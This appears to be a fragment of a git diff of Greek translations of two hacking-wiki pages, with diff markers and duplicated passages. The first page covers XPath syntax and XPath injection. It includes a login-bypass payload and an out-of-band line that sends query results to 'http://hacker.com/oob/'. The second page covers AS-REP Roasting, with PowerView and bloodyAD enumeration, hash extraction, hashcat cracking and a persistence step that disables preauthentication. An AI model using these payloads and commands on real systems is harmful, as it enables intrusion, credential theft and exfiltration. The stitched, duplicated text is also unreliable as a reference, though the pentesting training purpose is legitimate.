* **bookstore/book**: Επιλέγονται όλα τα στοιχεία βιβλίου που είναι παιδιά του bookstore.
* **//book**: Επιλέγονται όλα τα στοιχεία βιβλίου στο έγγραφο, ανεξάρτητα από την τοποθεσία τους.
* **bookstore//book**: Επιλέγονται όλα τα στοιχεία βιβλίου που είναι απόγονοι του στοιχείου bookstore, ανεξάρτητα από τη θέση τους κάτω από το στοιχείο bookstore.
* **//@lang**: Επιλέγονται όλες οι ιδιότητες που ονομάζονται lang.
### Utilization of Predicates
Οι προτάσεις χρησιμοποιούνται για την εξειδίκευση των επιλογών:
* **/bookstore/book\[1]**: Το πρώτο στοιχείο βιβλίου παιδί του στοιχείου bookstore επιλέγεται. Μια λύση για τις εκδόσεις IE 5 έως 9, οι οποίες κατατάσσουν τον πρώτο κόμβο ως \[0], είναι η ρύθμιση της SelectionLanguage σε XPath μέσω JavaScript.
* **/bookstore/book\[last()]**: Το τελευταίο στοιχείο βιβλίου παιδί του στοιχείου bookstore επιλέγεται.
* **/bookstore/book\[last()-1]**: Το προτελευταίο στοιχείο βιβλίου παιδί του στοιχείου bookstore επιλέγεται.
* **/bookstore/book\[position()<3]**: Τα πρώτα δύο στοιχεία βιβλίου παιδιά του στοιχείου bookstore επιλέγονται.
* **//title\[@lang]**: Όλα τα στοιχεία τίτλου με μια ιδιότητα lang επιλέγονται.
* **//title\[@lang='en']**: Όλα τα στοιχεία τίτλου με μια τιμή ιδιότητας "lang" ίση με "en" επιλέγονται.
* **/bookstore/book\[price>35.00]**: Όλα τα στοιχεία βιβλίου του bookstore με τιμή μεγαλύτερη από 35.00 επιλέγονται.
* **/bookstore/book\[price>35.00]/title**: Όλα τα στοιχεία τίτλου των στοιχείων βιβλίου του bookstore με τιμή μεγαλύτερη από 35.00 επιλέγονται.
* **/bookstore/book\[1]**: Επιλέγεται το πρώτο στοιχείο βιβλίου παιδί του στοιχείου bookstore. Μια λύση για τις εκδόσεις IE 5 έως 9, οι οποίες ευρετηριάζουν τον πρώτο κόμβο ως \[0], είναι η ρύθμιση της SelectionLanguage σε XPath μέσω JavaScript.
* **/bookstore/book\[last()]**: Επιλέγεται το τελευταίο στοιχείο βιβλίου παιδί του στοιχείου bookstore.
* **/bookstore/book\[last()-1]**: Επιλέγεται το προτελευταίο στοιχείο βιβλίου παιδί του στοιχείου bookstore.
* **/bookstore/book\[position()<3]**: Επιλέγονται τα πρώτα δύο στοιχεία βιβλίου παιδιά του στοιχείου bookstore.
* **//title\[@lang]**: Επιλέγονται όλα τα στοιχεία τίτλου με μια ιδιότητα lang.
* **//title\[@lang='en']**: Επιλέγονται όλα τα στοιχεία τίτλου με μια τιμή ιδιότητας "lang" ίση με "en".
* **/bookstore/book\[price>35.00]**: Επιλέγονται όλα τα στοιχεία βιβλίου του bookstore με τιμή μεγαλύτερη από 35.00.
* **/bookstore/book\[price>35.00]/title**: Επιλέγονται όλα τα στοιχεία τίτλου των στοιχείων βιβλίου του bookstore με τιμή μεγαλύτερη από 35.00.
### Handling of Unknown Nodes
Wildcard χρησιμοποιούνται για την αντιστοίχιση άγνωστων κόμβων:
Οι χαρακτήρες μπαλαντέρ χρησιμοποιούνται για την αντιστοίχιση άγνωστων κόμβων:
* **\***: Αντιστοιχεί σε οποιοδήποτε στοιχείο κόμβου.
* **@**\*: Αντιστοιχεί σε οποιοδήποτε κόμβο ιδιότητας.
@ -190,7 +190,7 @@ Username: ' or 1]%00
```
### **Διπλό OR στο Όνομα Χρήστη ή στον Κωδικό** (είναι έγκυρο με μόνο 1 ευάλωτο πεδίο)
ΣΗΜΑΝΤΙΚΟ: Σημειώστε ότι η **"και" είναι η πρώτη λειτουργία που εκτελείται**.
ΣΗΜΑΝΤΙΚΟ: Παρατηρήστε ότι η **"και" είναι η πρώτη ενέργεια που εκτελείται**.
```
Bypass with first match
(This requests are also valid without spaces)
@ -294,12 +294,12 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Συμμετάσχετε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς bug bounty!
**Ενημερώσεις Χάκινγκ**\
Ασχοληθείτε με περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking
Ασχοληθείτε με περιεχόμενο που εξερευνά τη συγκίνηση και τις προκλήσεις του hacking
**Νέα Χάκινγκ σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -48,7 +48,7 @@ Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
```
{% endcode %}
{% code title="Χρησιμοποιώντας Linux" %}
{% code title="Χρησιμοποιώντας το Linux" %}
```bash
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
```
@ -71,7 +71,7 @@ Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github
{% endcode %}
{% hint style="warning" %}
Η εκτέλεση του AS-REP Roasting με το Rubeus θα δημιουργήσει ένα 4768 με τύπο κρυπτογράφησης 0x17 και τύπο προαίρεσης 0.
Η εκτέλεση του AS-REP Roasting με το Rubeus θα δημιουργήσει ένα 4768 με τύπο κρυπτογράφησης 0x17 και τύπο προαυτοποίησης 0.
{% endhint %}
### Σπάσιμο
@ -81,7 +81,7 @@ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
```
### Επιμονή
Αναγκάστε **preauth** που δεν απαιτείται για έναν χρήστη όπου έχετε **GenericAll** δικαιώματα (ή δικαιώματα για να γράψετε ιδιότητες):
Αναγκάστε **preauth** να μην απαιτείται για έναν χρήστη όπου έχετε **GenericAll** δικαιώματα (ή δικαιώματα για να γράψετε ιδιότητες):
{% code title="Using Windows" %}
```bash
@ -115,7 +115,7 @@ ASRepCatcher listen
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Συμμετάσχετε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς bug bounty!